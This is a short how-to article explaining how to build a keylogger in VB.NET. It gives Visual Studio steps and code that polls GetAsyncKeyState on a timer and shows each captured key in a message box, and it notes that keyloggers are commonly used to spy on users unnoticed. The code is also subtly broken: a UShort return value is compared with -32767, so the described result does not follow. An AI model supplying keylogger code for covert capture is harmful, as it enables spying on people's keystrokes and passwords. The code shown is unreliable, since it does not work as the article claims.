How to Make a Keylogger in VB

How to Make a Keylogger in VB thumbnail
Capture keys using VB.NET.

Knowing how to make a keylogger using Microsoft Visual Basic.NET (VB.NET) can save you time when you need to develop an application that captures all keys typed. Keylogger programs are commonly used to spy or obtain information without the user finding out the program is running. Laws vary by country on how you can use a keylogger program.

Things You'll Need

  • Microsoft Visual Basic Express
Show More

Instructions

    • 1

      Start Microsoft Visual Basic Express. Click "New Project..." on the left pane of your screen, then select "Windows Forms Application." Click "OK."

    • 2

      Double-click "Timer" on the "Toolbox" pane to add a new timer control. Right-click "Timer1," then select "Properties." Next to "Enabled," select "True." Double-click "Timer1" to open the "Form1.vb" window.

    • 3

      Type the following code above "Timer1_Tick" to declare the "GetAsyncKeystate" function:

      Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Int32) As UShort

    • 4

      Type the following code under "Timer1_Tick" to capture keys typed while the application is running:

      Dim keyResult As Integer

      Dim chrKey As String

      Dim i As Integer

      For i = 2 To 90

      keyResult = 0

      keyResult = GetAsyncKeystate(i)

      If keyResult = -32767 Then

      chrKey = Chr(i)

      MsgBox(chrKey)

      Exit For

      End If

      Next i

    • 5

      Press "F5" to run the program, then press "B" on the keyboard and you will see a message box displayed with the letter "B."

Related Searches:

References

  • Photo Credit keyboard image by Fyerne from Fotolia.com

Comments

You May Also Like

Related Ads

Featured